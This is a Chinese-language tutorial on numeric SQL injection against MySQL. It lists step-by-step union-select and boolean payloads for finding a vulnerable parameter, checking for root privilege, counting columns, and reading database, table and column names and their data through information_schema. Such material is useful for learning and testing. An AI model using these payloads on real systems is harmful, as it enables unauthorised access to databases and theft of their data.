基于數字型的SQL注入
- 注入流程:
-
- 1.判斷SQL注入
- 2.判斷是否為root權限
- 3.判斷資料庫的字段數
- 4.查庫名
- 5.查表名
- 6.查字段
- 7.查資料
- 參考文獻
注入流程:
1.判斷SQL注入
(1) 在送出的URL後加上單引号’,
(2) and和or大法:and表示且,必須二者皆成立。or相反。
(3) 加法和減法:這目的是區分數字型和字元型的注入。
2.判斷是否為root權限
(1) 目的是判斷是否有root權限:and ord(mid(user(),1,1)) = 114 #114表示的是ascll的r,意即root權限。
(2) and (select count(*) from mysql.user)>0 判斷是否有讀寫權限,當傳回正确頁面時表示有讀寫權限,反之沒有。
3.判斷資料庫的字段數
(1) 常用兩種猜解方法:
聯合查詢 and 1=1 union select 1,2,3,4,5 或者union select null,null,null
order by查詢:order by1,2,3,4當正确時即有多少字段order by查詢:order by1,2,3,4當正确時即有多少字段。
(2) 在該查詢中,一般情況下程式會調用資料庫查詢的第一條語句進行查詢然後傳回。而通過聯合查詢時,要想檢視第二條資料,則可以讓第一條查詢語句始終為假,這裡可以用到and 1=2。反之,則為and 1=1。
(3) limit語句。該語句在mysql中是用來分頁的,通過該語句可以讓我們得到我們想要的資料。
4.查庫名
(1) 首先檢視資料庫的版本:and ord(mid(version(),1,1))>51 #51指的是ascll的3
(2) 确定版本号之後聯合查詢:union select 1,database(),3 limit 1,1 或者union select null,scherma_name,null from information_schema.schemata 想擷取第一個庫名則在後面加上limit 0,1 若發現沒有顯示,則在第一條語句上加上:and 1=2,讓第一條語句始終為假,即可檢視第一個庫名,依次類推可得到第二個庫名,第三個庫名,等等。。。
5.查表名
(1)一般而言,表名存放在資料庫information_schema下的tables表中的table_name字段中,查表名主要用到的就是tables表。
(2)使用group_concat():例如在URL後加上union select null,group_concat(table_name),null from information_schema.tables where table_schema = ‘庫名一’ 。或者在URL後面加上union select null,table_name,null from information_schema.tables where table_schema = ‘庫名一’(這種方法比較好記憶)。
6.查字段
(1)在mysql中,字段名一般存放在information_schema資料庫下的column_name字段中。
(2)查詢方法:union select null,group_concat(column_name),null from information_schema.columns where table_schema = ‘庫名一’ and table_name=‘表名’。或者union select null,column_name,null from information_schema.columns where table_schema = ‘庫名一’ and table_name=‘表名’
7.查資料
得到庫名,表名,字段名後想要擷取資料的值就友善了。
(1)在URL後加上union select null,group_concat(字段名),null from 表名。或者union select 字段名 from 表名
參考文獻
https://www.bugbank.cn/q/article/5983ea82cbb936102d3977bb.html